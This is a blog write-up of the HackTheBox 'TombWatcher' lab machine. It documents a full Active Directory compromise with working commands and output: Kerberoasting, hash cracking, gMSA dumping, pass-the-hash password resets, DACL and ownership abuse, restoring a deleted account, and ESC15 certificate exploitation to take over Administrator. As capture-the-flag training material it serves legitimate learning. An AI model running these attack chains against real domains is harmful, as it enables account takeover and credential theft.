TombWatcher Writeup (HackTheBox Medium Machine)


As is common in real life Windows pentests, you will start the TombWatcher box with credentials for the following account: henry / H3nry_987TGV!


Overview

TombWatcher is a medium Windows machine from HackTheBox. This is another Active Directory box which allows you to perform a lot of AD attacks, because there is a lot of vulnerabilities.

After enumeration, we perform lateral movement, compromising a lot of accounts with attacks like Kerberoasting, abusing different privileges like “ReadGMSAPassword” and “WriteOwner” etc.

During priv esc, we restore deleted CA account and find ESC15 vulnerability in ADCS. We exploit it and change Administrator’s password, giving ourselves full control over the machine and domain.


Nmap scan

Starting with the Nmap scan.

┌──(root㉿kali)-[/home/kali]
└─# nmap -A 10.10.11.72 -T5
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-27 10:33 CEST
Nmap scan report for 10.10.11.72
Host is up (0.16s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-08-27 10:05:03Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after: 2025-11-16T00:47:59
|_ssl-date: 2025-08-27T10:06:44+00:00; +1h31m22s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after: 2025-11-16T00:47:59
|_ssl-date: 2025-08-27T10:06:44+00:00; +1h31m22s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-08-27T10:06:44+00:00; +1h31m22s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after: 2025-11-16T00:47:59
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-08-27T10:06:44+00:00; +1h31m22s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after: 2025-11-16T00:47:59
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019|10 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
Aggressive OS guesses: Windows Server 2019 (97%), Microsoft Windows 10 1903 - 21H1 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 3 hops
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
| date: 2025-08-27T10:06:03
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: 1h31m20s, deviation: 2s, median: 1h31m21s

TRACEROUTE (using port 139/tcp)
HOP RTT ADDRESS
1 418.71 ms 10.10.14.1
2 ...
3 418.79 ms 10.10.11.72

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 100.59 seconds

The Nmap scan showed couple open ports, typical for Active Directory environment (SMB, RPC, LDAP). Ports 53 (DNS) and 88 (Kerberos) indicate that we are dealing with a Domain controller. Don’t forget to add “tombwatcher.htb” domain and “dc01.tombwatcher.htb” computer name to your “/etc/hosts” file, which we got from the LDAP Nmap scan.


Domain enumeration

We can enumerate the domain with tools like Enum4linux-ng. I ran it and got a lot of information about the domain, users, groups, shares etc.

domain information found by Enum4Linux-ng

Since we already have initial credentials right from the start, we can list all the users within the domain with tools like Netexec. We need usernames for next attacks like AS-REP roasting.

┌──(root㉿kali)-[/home/kali]
└─# nxc smb 10.10.11.72 -u henry -p 'H3nry_987TGV!' --users
SMB 10.10.11.72 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.72 445 DC01 [+] tombwatcher.htb\henry:H3nry_987TGV!
SMB 10.10.11.72 445 DC01 -Username- -Last PW Set- -BadPW- -Description-
SMB 10.10.11.72 445 DC01 Administrator 2025-04-25 14:56:03 0 Built-in account for administering the computer/domain
SMB 10.10.11.72 445 DC01 Guest <never> 0 Built-in account for guest access to the computer/domain
SMB 10.10.11.72 445 DC01 krbtgt 2024-11-16 00:02:28 0 Key Distribution Center Service Account
SMB 10.10.11.72 445 DC01 Henry 2025-05-12 15:17:03 0
SMB 10.10.11.72 445 DC01 Alfred 2025-05-12 15:17:03 0
SMB 10.10.11.72 445 DC01 sam 2025-05-12 15:17:03 1
SMB 10.10.11.72 445 DC01 john 2025-05-19 13:25:10 0
SMB 10.10.11.72 445 DC01 [*] Enumerated 7 local users: TOMBWATCHER

We can get even more information by performing RID brute-forcing. This method uncovered additional computer names “DC01$” and “ansible_dev$” (’$’ indicates a computer name).

┌──(root㉿kali)-[/home/kali]
└─# lookupsid.py 'TOMBWATCHER/henry':'H3nry_987TGV!'@'tombwatcher.htb' | grep SidTypeUser
500: TOMBWATCHER\Administrator (SidTypeUser)
501: TOMBWATCHER\Guest (SidTypeUser)
502: TOMBWATCHER\krbtgt (SidTypeUser)
1000: TOMBWATCHER\DC01$ (SidTypeUser)
1103: TOMBWATCHER\Henry (SidTypeUser)
1104: TOMBWATCHER\Alfred (SidTypeUser)
1105: TOMBWATCHER\sam (SidTypeUser)
1106: TOMBWATCHER\john (SidTypeUser)
1108: TOMBWATCHER\ansible_dev$ (SidTypeUser)

Note: You can also verify all the users with Kerbrute. All of them are valid.


Next, I tried to look at SMB shares but there was nothing to be found.

Using Netexec and it’s Bloodhound ingestor, I queried LDAP for domain and relations information for us to inspect in Bloodhound itself.

┌──(root㉿kali)-[/home/kali]
└─# nxc ldap 10.10.11.72 -u henry -p 'H3nry_987TGV!' --bloodhound --collection all --dns-server 10.10.11.72
LDAP 10.10.11.72 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:tombwatcher.htb)
LDAP 10.10.11.72 389 DC01 [+] tombwatcher.htb\henry:H3nry_987TGV!
LDAP 10.10.11.72 389 DC01 Resolved collection methods: psremote, group, localadmin, trusts, dcom, objectprops, rdp, container, session, acl
LDAP 10.10.11.72 389 DC01 Done in 00M 07S
LDAP 10.10.11.72 389 DC01 Compressing output into /root/.nxc/logs/DC01_10.10.11.72_2025-08-27_110808_bloodhound.zip


Kerberoasting & compromising user “Alfred”

I opened up Bloodhound and began to look for some useful relations and permissions, starting from owned user “henry”. As it turned out, he had “WriteSPN” permission over user “Alfred”.

Bloodhound also provides a path to exploitation/abuse. We can use “targetedKerberoast.py” script to write to Alfred’s SPN and request his Service ticket.

I ran “targetedKerberoast.py” and got Alfred’s hash successfully.

┌──(root㉿kali)-[/home/kali/tools]
└─# python3 targetedKerberoast.py -v -d 'tombwatcher.htb' -u 'henry' -p 'H3nry_987TGV!'
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[VERBOSE] SPN added successfully for (Alfred)
[+] Printing hash for (Alfred)
$krb5tgs$23$*Alfred$TOMBWATCHER.HTB$tombwatcher.htb/Alfred*$01f476a438b04f049892ec5d0034d54d$499e662e450e1ded7cbf8d9f9754f87ac85d152070acd6e443ec82b87276b4e86fc79c8d8539f38e33b3c25d46df6c61d27765b81ca68631b8c3b7c84836b4c5c68bb9ceea2567530da7e30c0f42816e1004f69d4d4f9e9eee6808aa9893262f9b753e512f14c2aefed84af6405a7f1a01fa433e0b1a91b51fca89aed48409443792d080944a2dc37d4d78d6e1a463eda72dfe4e30b0032a54a24ea5453d42816888ca2b9739abb771c86673c98da8e8934f039d4ebfff85e0ba4539b6f69f060f80f2f6ebe56c0ddf2dc187c0146c238ba2eaf8e6661d02d77ac0c7aab96a321dc25c9a2f8597e1c747429acf618c2ff883d909ae574d2fa075f3f7d17b566130ca35ce8d54fcd68a146fc01d2730db910834e44f6b6189298224a6fc3bec925b61b23806a8ee1ac11079bfc5599a8307f2037c76594e2e474aa4445a0f2602506b695b66050ae736d00dc6c58e1b3eb5e75e0e059dcc49901a9e1006c067112aab0f91efef0d2ec838074b14027d9a09e2c4393ffc5eb384e8bef6708a04e0ec6345adfb849ba5db6dce47838f338001769bfbafbd23ce404f1f5f7f35e101b5ae67a682d456554afcf32dc58c239bc8c8c39e1077fb2d492cd0ef3a93588076306055f60c144848e685d8abf0e7df509d1d102f86302f76b5fa40bead9cc3e97ac126cba36147c88e0f63882c8372ad441beeded07573b4df791e0aa692dfea33ad77391ae180ba0045195c5f17ffce8e37230dc1733407a9cf5f1e294986357ac42339b53535508917c3aff34667159c5fb1030fdccd5989def8aa758d92c76b80e5402dc4e896f1bee129e53cabe87ccd712bcbd2f6f35da4e209e159bf53d0ecf7578114f6579b7a575d71336ce3f2a74481db1590e0ec6c0e4a608749904320245b0f331da78814bf1674b80ead154b6e64fea8cb014d92c33b0f0dd68798e08f58814c6f0bad8e553ffc2bf3ea9f20966cde3c2f51dc6e5803e7888528293cc00e7934f1ca66f60104c3945d9767ae7352556401f5cd17be3edd590abc2c7b24b8e7bc96d35e1af2bf532b08455d9b649d7b0fa50b2df649d0b57df3b702dfceba16a0886cd4d68b380e8afc5d54ff151f2940be4a54759b0be7ca254210d1aa2a88906216d9d2e0071d0e5778c02f6d00e55442d53009c94eca082fcedb9d8ae7127fd7d3c389057b36f8d3ca954486bda0ed85bf225d5afbdfd85648cd8df76a00988e221b657e39b25000f81e9c62b06e89189f238bc64c536222f7937b30b0b4743213c9b327fd6baf532fc5acd871b406e633239d5b6310b9e03f78f4e0286438b1ccc9e56c5cbe71a9db5edbfb753752d30186bfe9f21dbbf6552cc3146d32c1d2810febb2ea4cb338750b819d42e3193e76776f0669097e1005f90485527a9a65abc72849312c311ba7ce693d4bf913229deed6eebe171356f735ede8d18d4977b21d1fdb550026d2b8013d0603
[VERBOSE] SPN removed successfully for (Alfred)

Then, I used John the Ripper to crack Alfred’s password.

┌──(root㉿kali)-[/home/kali]
└─# john hash --wordlist=Downloads/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
basketball (?)
1g 0:00:00:00 DONE (2025-08-27 16:06) 100.0g/s 102400p/s 102400c/s 102400C/s 123456..bethany
Use the "--show" option to display all of the cracked passwords reliably
Session completed.


Abusing GMSA permission & compromising computer account “ansible_dev$”

Looking back at Bloodhound, user “Alfred” has “AddSelf” permission over the “Infrastructure” group. Once again, Bloodhound’s guide is provided to us on how to add Alfred to this group.

Before that, I quickly checked the control rights of the “Infrastructure” group. It has an interesting “ReadGMSAPassword” control over “ansible_dev$” computer account (’$’ means it’s a computer account, not a regular user).

GMSA means Group-managed service account, and the members of “Infrastructure” group have the ability to read it’s password. That sounds very nice!


BUT, when I ran the command, it yielded an error. Over and over again.

Therefore, I went on google and found another tool that serves the same purpose as Net called BloodyAD. I used the command below and successfully added Alfred to Infrastructure group. The other Net command worked as well, confirming that Alfred was really added.

Note: Both Net and BloodyAD are tools used by pentesters to interact with DACLs or Discretionary Access Control Lists (which define the permissions that specific users or groups have for accessing and performing actions on an AD object), also can perform attacks like we’re doing here.

┌──(root㉿kali)-[~kali]
└─# bloodyAD --host "10.10.11.72" -d "tombwatcher.htb" -u "Alfred" -p "basketball" add groupMember "Infrastructure" "Alfred"
[+] Alfred added to Infrastructure

┌──(root㉿kali)-[~kali/tools]
└─# net rpc group members "Infrastructure" -U "TOMBWATCHER"/"Alfred"%"basketball" -S "dc01.tombwatcher.htb"
TOMBWATCHER\Alfred

Next, we can use “gMSADumper.py” script (https://github.com/micahvandeusen/gMSADumper) to retrieve the password hash for “ansible_dev$” account. We get 3 of them.

┌──(root㉿kali)-[~kali/tools]
└─# python3 gMSADumper.py -u 'Alfred' -p 'basketball' -d 'tombwatcher.htb'
Users or groups who can read password for ansible_dev$:
> Infrastructure
ansible_dev$:::ecb4146b3f99e6bbf06ca896f504227c
ansible_dev$:aes256-cts-hmac-sha1-96:dae98d218c6a20033dd7e1c6bcf37cde9a7c04a41cfa4a89091bf4c487f2f39a
ansible_dev$:aes128-cts-hmac-sha1-96:0ec1712577c58adc29a193d53fc73bd4

I tried to crack the NT hash with John and Hashcat, but got no luck there. Luckily, instead of providing the cleartext password, we can authenticate with the NT hash itself. This is known as Pass-the-hash attack and can be used during NTLM-based authentication in Active Directory.


Changing password for user “sam”

Looking at Bloodhound, I checked outbound control of the “ansible_dev$” account. I found out that it has “ForceChangePassword” privilege over user “sam”. This means that we can change Sam’s password without knowing the current one. Bloodhound provides a guide for this attack.

Following the guide, I used the command below to change Sam’s password. Since we only got the NT portion of the hash, I used the ‘f’ string for the LM portion, just as Bloodhound says.

┌──(root㉿kali)-[/home/kali]
└─# pth-net rpc password "sam" "nooff123" -U "TOMBWATCHER"/"ansible_dev$"%"ffffffffffffffffffffffffffffffff":"ecb4146b3f99e6bbf06ca896f504227c" -S "dc01.tombwatcher.htb"
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...

Just as before, you can use tool like Netexec to verify that you can authenticate as “sam” user.


Abusing WriteOwner privilege, compromising user “john” & getting user flag

Yet again, I looked at Sam’s privileges in Bloodhound. Sam had “WriteOwner” privilege over user “john”. This time, there were numerous attacks possible, like Targeted Kerberoast, Shadow Credentials attack etc. I picked the simplest one, and that’s to simply change John’s password.

But first, we have to actually write the ownership of John’s account to Sam. To do that, we can use Impacket’s “owneredit” script (slightly modified) below.

┌──(root㉿kali)-[~kali/tools]
└─# impacket-owneredit -action write -new-owner 'sam' -target 'john' 'TOMBWATCHER'/'sam':'nooff123' -dc-ip '10.10.11.72'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Current owner information below
[*] - SID: S-1-5-21-1392491010-1358638721-2126982587-1105
[*] - sAMAccountName: sam
[*] - distinguishedName: CN=sam,CN=Users,DC=tombwatcher,DC=htb
[*] OwnerSid modified successfully!

Next, we can use another “dacledit” script to write “FullControl” rights to Sam over John.

┌──(root㉿kali)-[~kali/tools]
└─# impacket-dacledit -action 'write' -rights 'FullControl' -principal 'sam' -target 'john' 'TOMBWATCHER'/'sam':'nooff123' -dc-ip '10.10.11.72'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] DACL backed up to dacledit-20250828-153642.bak
[*] DACL modified successfully!


After that’s done, we can simply change John’s password.

┌──(root㉿kali)-[~kali/tools]
└─# net rpc password "john" "nooff123" -U "TOMBWATCHER"/"sam"%"nooff123" -S "dc01.tombwatcher.htb"

We can check if the attack was successful. User “john” has also access to WinRM on port 5985, so we can finally get a shell on the machine using tool like Evil-WinRM.

┌──(root㉿kali)-[~kali/tools]
└─# evil-winrm -i 10.10.11.72 -u john -p nooff123

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\john\Documents>

The user flag waits on John’s desktop. Now onto the root flag!


Abusing GenericAll privilege over ADCS & restoring deleted “cert_admin” account

Looking at Bloodhound, John has 1 outbound control. He has “GenericAll” privilege over ADCS OU (Active Directory Certificate Services Organizational Unit). This is a big one! Bloodhound suggests the Descendent Object Takeover, which results in full control over all of the objects under this OU.

I ran “dacledit” script again to write John full rights over the ADCS OU.

┌──(root㉿kali)-[/home/kali]
└─# impacket-dacledit -action 'write' -rights 'FullControl' -inheritance -principal 'john' -target-dn 'OU=ADCS,DC=TOMBWATCHER,DC=HTB' 'TOMBWATCHER'/'john':'nooff123' -dc-ip '10.10.11.72'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] NB: objects with adminCount=1 will no inherit ACEs from their parent container/OU
[*] DACL backed up to dacledit-20250828-214520.bak
[*] DACL modified successfully!

Notice that objects with admin privilege will not be affected (e.g. “Administrator” user).

Also, anytime I deal with ADCS, I always run tool called Certipy. Certipy looks for vulnerabilities in certificate templates and allows you to perform certificate-based attacks. Even better if we would compromise the Certificate Authority account. The account that manages the certificates. Which makes me wonder, where did that account go? We haven’t seen such account during enumeration.


To be honest, I got stuck on this part for quite some time. After a while, I took a peak at a writeup and realized that I didn’t check for deleted users which was a way to go.

Back in my shell, I ran the following commands to list all deleted accounts. There was a user named “cert_admin”, which is most likely our CA account. Since this user is under the ADCS OU, John has “GenericAll” privilege over it, too. So I restored it, enabled it and set a new password.

*Evil-WinRM* PS C:\Users\john> Get-ADObject -Filter 'isDeleted -eq $true' -IncludeDeletedObjects


Deleted : True
DistinguishedName : CN=Deleted Objects,DC=tombwatcher,DC=htb
Name : Deleted Objects
ObjectClass : container
ObjectGUID : 34509cb3-2b23-417b-8b98-13f0bd953319

Deleted : True
DistinguishedName : CN=cert_admin\0ADEL:f80369c8-96a2-4a7f-a56c-9c15edd7d1e3,CN=Deleted Objects,DC=tombwatcher,DC=htb
Name : cert_admin
DEL:f80369c8-96a2-4a7f-a56c-9c15edd7d1e3
ObjectClass : user
ObjectGUID : f80369c8-96a2-4a7f-a56c-9c15edd7d1e3

Deleted : True
DistinguishedName : CN=cert_admin\0ADEL:c1f1f0fe-df9c-494c-bf05-0679e181b358,CN=Deleted Objects,DC=tombwatcher,DC=htb
Name : cert_admin
DEL:c1f1f0fe-df9c-494c-bf05-0679e181b358
ObjectClass : user
ObjectGUID : c1f1f0fe-df9c-494c-bf05-0679e181b358

Deleted : True
DistinguishedName : CN=cert_admin\0ADEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf,CN=Deleted Objects,DC=tombwatcher,DC=htb
Name : cert_admin
DEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf
ObjectClass : user
ObjectGUID : 938182c3-bf0b-410a-9aaa-45c8e1a02ebf



*Evil-WinRM* PS C:\Users\john> Restore-ADObject -Identity 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
*Evil-WinRM* PS C:\Users\john> Enable-ADAccount -Identity cert_admin
*Evil-WinRM* PS C:\Users\john> Set-ADAccountPassword -Identity cert_admin -Reset -NewPassword (ConvertTo-SecureString "nooff123" -AsPlainText -Force)

Now, we can run Certipy and authenticate as “cert_admin”. The command below enumerates all vulnerable certificate templates for us. Do not mind the DNS error.

┌──(root㉿kali)-[/home/kali]
└─# certipy-ad find -u cert_admin@tombwatcher.htb -p nooff123 -vuln
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[!] DNS resolution failed: The DNS query name does not exist: TOMBWATCHER.HTB.
[!] Use -debug to print a stacktrace
[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Finding issuance policies
[*] Found 13 issuance policies
[*] Found 0 OIDs linked to templates
[!] DNS resolution failed: The DNS query name does not exist: DC01.tombwatcher.htb.
[!] Use -debug to print a stacktrace
[*] Retrieving CA configuration for 'tombwatcher-CA-1' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'tombwatcher-CA-1'
[*] Checking web enrollment for CA 'tombwatcher-CA-1' @ 'DC01.tombwatcher.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Saving text output to '20250829132046_Certipy.txt'
[*] Wrote text output to '20250829132046_Certipy.txt'
[*] Saving JSON output to '20250829132046_Certipy.json'
[*] Wrote JSON output to '20250829132046_Certipy.json'

Looking at the output, we found a vulnerability known as ESC15.

Certipy found ESC15 vulnerability


Exploiting ESC15 vulnerability & getting root flag

I went on Google and did a small research on ADCS ESC15 vulnerability. Eventually, I landed on one article (https://www.hackingarticles.in/adcs-esc15-exploiting-template-schema-v1/) that explained the vulnerability itself and showcased the exploitation using Certipy as well.

I highly suggest to read the article, as I will use a lot of terminology from it. TLDR; The flaw allows us to inject unauthorized EKUs (e.g., Client Authentication) into Schema Version 1 templates.

Firstly, we request a certificate with UPN set to Administrator and inject an application policy (which shouldn’t be allowed). This gives us the certificate “administrator.pfx”

┌──(root㉿kali)-[/home/kali]
└─# certipy-ad req -dc-ip 10.10.11.72 -ca tombwatcher-CA-1 -target-ip 10.10.11.72 -u cert_admin@tombwatcher.htb -p 'nooff123' -template WebServer -upn Administrator@tombwatcher.htb -application-policies 'Client Authentication'
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 5
[*] Successfully requested certificate
[*] Got certificate with UPN 'Administrator@tombwatcher.htb'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'

Secondly, we authenticate with that certificate. Unfortunately, we can’t get Administrator’s hash here (briefly explained why in another article: https://medium.com/@offsecdeer/adcs-exploitation-series-part-2-certificate-mapping-esc15-6e19a6037760), but we can get LDAP shell.

┌──(root㉿kali)-[/home/kali]
└─# certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.72 -ldap-shell
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*] SAN UPN: 'Administrator@tombwatcher.htb'
[*] Connecting to 'ldaps://10.10.11.72:636'
[*] Authenticated to '10.10.11.72' as: 'u:TOMBWATCHER\\Administrator'
Type help for list of commands

# whoami
u:TOMBWATCHER\Administrator


With LDAP shell, we can do a lot of things like adding a user account, modifying domain accounts and computers etc. With such power in my hands, I changed Administrator’s password.

# change_password Administrator nooff123
Got User DN: CN=Administrator,CN=Users,DC=tombwatcher,DC=htb
Attempting to set new password of: nooff123
Password changed successfully!

Now I could finally get shell as Administrator and get the root flag from Desktop.

And that’s the TombWatcher machine done!


Summary & final thoughts

TombWatcher is a medium Windows/Active Directory machine from HackTheBox. This is another great Active Directory machine with mostly straight forward attack paths. During initial hunt for user flag, we find a lot of dangerous privileges between the domain users in Bloodhound, which we have to exploit. Once we get to final priv esc, which is definitely a bit tricky in my opinion, we identify the ESC15 vulnerability in ADCS. After successful exploitation, we compromise the Administrator. The tricky part can be that we first have to find and re-enable deleted CA account.

Overall, very fun box with relatively straight forward attack paths. Recommending to anyone who’s ready to test his/her basic AD privilege and ADCS exploitation skills. Can also serve as a good AD prep machine for certifications like OSCP.

Comments

Popular posts from this blog

Hospital Writeup (HackTheBox Medium Machine)

Bucket Writeup (HackTheBox Medium Machine)

Mr Robot Writeup (Vulnhub Intermediate Machine)